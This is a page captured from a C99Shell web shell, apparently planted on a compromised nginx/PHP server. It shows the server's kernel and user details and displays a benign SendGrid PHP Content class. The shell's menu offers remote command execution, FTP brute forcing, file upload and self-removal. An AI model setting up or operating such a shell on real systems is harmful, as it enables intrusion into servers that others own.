!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.18.0. PHP/7.4.29 

uname -a: Linux ip-172-31-23-220 5.15.0-1084-aws #91~20.04.1-Ubuntu SMP Fri May 2 07:00:04 UTC 2025
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/sendgrid-bk/lib/mail/   drwxrwxr-x
Free 39.76 GB of 48.28 GB (82.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     Content.php (2.86 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * This helper builds the Content object for a /mail/send API call
 */

namespace SendGrid\Mail;

use 
SendGrid\Helper\Assert;

/**
 * This class is used to construct a Content object for the /mail/send API call
 *
 * @package SendGrid\Mail
 */
class Content implements \JsonSerializable
{
    
/**
     * @var string
     * The mime type of the content you are including in your email. For example, “text/plain” or “text/html”
     */
    
private $type;

    
/**
     * @var string
     * The actual content of the specified mime type that you are including in your email
     */
    
private $value;

    
/**
     * Optional constructor
     *
     * @param string|null $type  The mime type of the content you are including
     *                           in your email. For example, “text/plain” or
     *                           “text/html”
     * @param string|null $value The actual content of the specified mime type
     *                           that you are including in your email
     *
     * @throws TypeException
     */
    
public function __construct($type null$value null)
    {
        if (isset(
$type)) {
            
$this->setType($type);
        }
        if (isset(
$value)) {
            
$this->setValue($value);
        }
    }

    
/**
     * Add the mime type on a Content object
     *
     * @param string $type The mime type of the content you are including
     *                     in your email. For example, “text/plain” or
     *                     “text/html”
     *
     * @throws TypeException
     */
    
public function setType($type)
    {
        
Assert::string($type'type');

        
$this->type $type;
    }

    
/**
     * Retrieve the mime type on a Content object
     *
     * @return string|null
     */
    
public function getType()
    {
        return 
$this->type;
    }

    
/**
     * Add the content value to a Content object
     *
     * @param string $value The actual content of the specified mime type
     *                      that you are including in your email
     *
     * @throws TypeException
     */
    
public function setValue($value)
    {
        
Assert::minLength($value'value'1);

        
$this->value mb_convert_encoding($value'UTF-8''UTF-8');
    }

    
/**
     * Retrieve the content value to a Content object
     *
     * @return string|null
     */
    
public function getValue()
    {
        return 
$this->value;
    }

    
/**
     * Return an array representing a Contact object for the Twilio SendGrid API
     *
     * @return null|array
     */
    #[\ReturnTypeWillChange]
    
public function jsonSerialize()
    {
        return 
array_filter(
            [
                
'type' => $this->getType(),
                
'value' => $this->getValue()
            ],
            function (
$value) {
                return 
$value !== null;
            }
        ) ?: 
null;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0059 ]--